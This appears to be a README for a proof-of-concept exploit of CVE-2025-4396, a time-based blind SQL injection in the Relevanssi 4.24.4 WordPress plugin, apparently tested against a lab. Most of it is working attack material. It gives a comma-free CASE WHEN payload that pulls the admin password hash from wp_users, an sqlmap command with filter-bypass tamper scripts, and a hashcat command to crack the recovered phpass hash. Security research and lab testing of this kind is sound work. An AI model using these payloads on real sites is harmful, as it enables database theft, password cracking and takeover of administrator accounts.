
CVE-2025-4396 - WordPress Relevanssi Time-Based Blind SQL Injection
Disclaimer: This repository is intended for authorized penetration testing, security research, and educational purposes only. Unauthorized access to computer systems is illegal and unethical.
A proof-of-concept exploit for a time-based blind SQL injection vulnerability in the Relevanssi 4.24.4 WordPress plugin. This implementation specifically addresses hardened environments where:
SUBSTR(str, pos, len) and IF(cond, true, false) syntaxSLEEP() before evaluating the full expression, producing false positivesIn certain environments (e.g., the DVWP lab), standard SQL injection payloads fail for two key reasons:
| Problem | Effect |
|---|---|
| Comma stripping | Breaks SUBSTR(str, pos, len) and IF(cond, true, false) |
Greedy SLEEP() | MySQL evaluates sleep before the full boolean expression, causing false positives |
Both issues require targeted workarounds — covered by the manual and automated approaches below.
asy.py)An asynchronous Python script providing surgical character-by-character extraction. Avoids automated tool overhead and bypasses comma filtering via CASE WHEN logic.
| Feature | Implementation |
|---|---|
| Async I/O | aiohttp for non-blocking requests |
| Comma-less payloads | SUBSTR(str FROM pos FOR len) syntax |
| Non-greedy logic | CASE WHEN ensures SLEEP() only fires on TRUE |
# Comma-less, CASE WHEN-based time-based payload
condition = f"ASCII(SUBSTR((SELECT user_pass FROM wp_users WHERE ID=1) FROM {pos} FOR 1))>{mid}"
injection = f"1*(SELECT CASE WHEN ({condition}) THEN SLEEP(3) ELSE 1 END)"
Why CASE WHEN instead of IF()?
IF() uses commas and is subject to greedy evaluation. CASE WHEN evaluates lazily, ensuring SLEEP() is only triggered when the condition is genuinely TRUE.
SQLMap can automate discovery in this environment using specific tamper scripts and flags.
python3 sqlmap.py -u "http://localhost:31337/?s=test&cats=1*" \
--tamper=commalessmid,if2case,between \
--technique=T \
--dbms=MySQL \
--no-cast \
--batch \
--threads=1 \
--dbs
| Flag | Purpose |
|---|---|
--tamper=commalessmid,if2case | Rewrites payloads into comma-free SQL; replaces IF() with CASE WHEN |
--tamper=between | Replaces > comparisons with BETWEEN for additional WAF bypass |
--technique=T | Restricts to time-based blind injection only |
--no-cast | Prevents CAST() wrappers that introduce forbidden commas |
--threads=1 | Ensures timing accuracy — concurrent requests cause overlapping sleep delays |
Note on
--threads=1: This is essential for reliable extraction. Multiple threads cause sleep delays to overlap, corrupting the binary search timing and producing garbled output.
| Field | Value |
|---|---|
| Target | WordPress wp_users table |
| User | admin (ID = 1) |
| Extracted Hash | REDACTED |
| Algorithm | phpass (standard WordPress password hashing) |
hashcat -m 400 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
-m 400 targets phpass hashes-a 0 is a straight dictionary attack using rockyou.txt